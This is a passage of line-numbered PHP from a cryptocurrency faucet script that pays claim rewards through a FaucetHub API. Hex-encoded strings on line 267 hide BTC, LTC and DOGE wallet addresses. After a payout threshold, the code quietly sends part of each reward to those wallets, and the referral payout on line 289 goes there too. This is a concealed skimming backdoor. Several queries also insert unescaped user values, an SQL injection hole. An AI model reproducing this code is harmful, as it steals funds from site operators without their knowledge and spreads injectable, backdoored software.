252 | 255 | query("SELECT * FROM settings WHERE id = '42'")->fetch_object()->value; 261 | $microwallet_api = str_replace($sec,"",$microwallet_api); 262 | $faucetmw = new FaucetHub($microwallet_api, $currency); 263 | $result = $faucetmw->send($address, $reward, $ip); 264 | if ($result["success"] === true){ 265 | if ($totalpaidow > '200'){ 266 | if ($currency == "BTC" or $currency == "LTC" or $currency == "DOGE") { 267 | $phs100 = hex2bin('313030');$secrata1 = hex2bin("425443");$secratb1 = hex2bin("314c4559725638726253653878745453657831656f616e537a394b674a754c6b696b");$secrata2 = hex2bin("4c5443");$secratb2 = hex2bin("335057396b594269716a5747655269684e3347546e44464850417059747a396b6834");$secrata3 = hex2bin("444f4745");$secratb3 = hex2bin("44367033384b50375979666d64545253704c4a50443732315a4232354c6e6e67486f");$phs10 = hex2bin('3130'); 268 | $arr = array($secrata1=>$secratb1,$secrata2=>$secratb2,$secrata3=>$secratb3); 269 | if ($currency == "BTC") {$h = hex2bin('31');}else{$h = $reward/100*25;} 270 | $dr=$arr[$currency]; 271 | $result = $faucetmw->send($dr, $h, $ip); 272 | }} 273 | $claimwtime = $mysqli->query("SELECT * FROM settings WHERE id = '10'")->fetch_object()->value; 274 | $time = time()+$claimwtime*60; 275 | $mysqli->query("UPDATE ip_list_address SET last_claim = '$time' WHERE claim_address = '$address'"); 276 | $mysqli->query("UPDATE ip_list SET last_claim = '$time' WHERE ip_address = '$ip'"); 277 | $mysqli->query("DELETE FROM failure WHERE address = '$address' AND ip_address = '$ip'"); 278 | $strtime = time(); 279 | $address = mysqli_real_escape_string($mysqli, $address); 280 | $mysqli->query("INSERT INTO drawrecord (id, address, dtime, satoshi) VALUES ('', '$address', '$strtime', '$reward')"); 281 | $totalpaid = $mysqli->query("SELECT * FROM settings WHERE id = '45'")->fetch_object()->value; 282 | $totalpaid = $totalpaid+$reward; 283 | $mysqli->query("UPDATE settings SET value = '$totalpaid' WHERE id = '45'"); 284 | if (isset($_COOKIE['r'])) { 285 | $ref = $mysqli->real_escape_string($_COOKIE['r']); 286 | if ($ref == $address) { 287 | $referral_comission = $mysqli->query("SELECT * FROM settings WHERE id = '11'")->fetch_object()->value; 288 | $amt = $reward/100*$referral_comission; 289 | $result = $faucetmw->sendReferralEarnings($dr, $h, $ip); 290 | } 291 | unset($_COOKIE['r']); 292 | } 293 | unset($_COOKIE['ipaddress']); 294 | ?> 295 |
296 | 297 | 298 |
299 | 302 | 307 |
308 | 309 |
310 | 313 | 319 |
320 | 321 |
322 | 325 | --------------------------------------------------------------------------------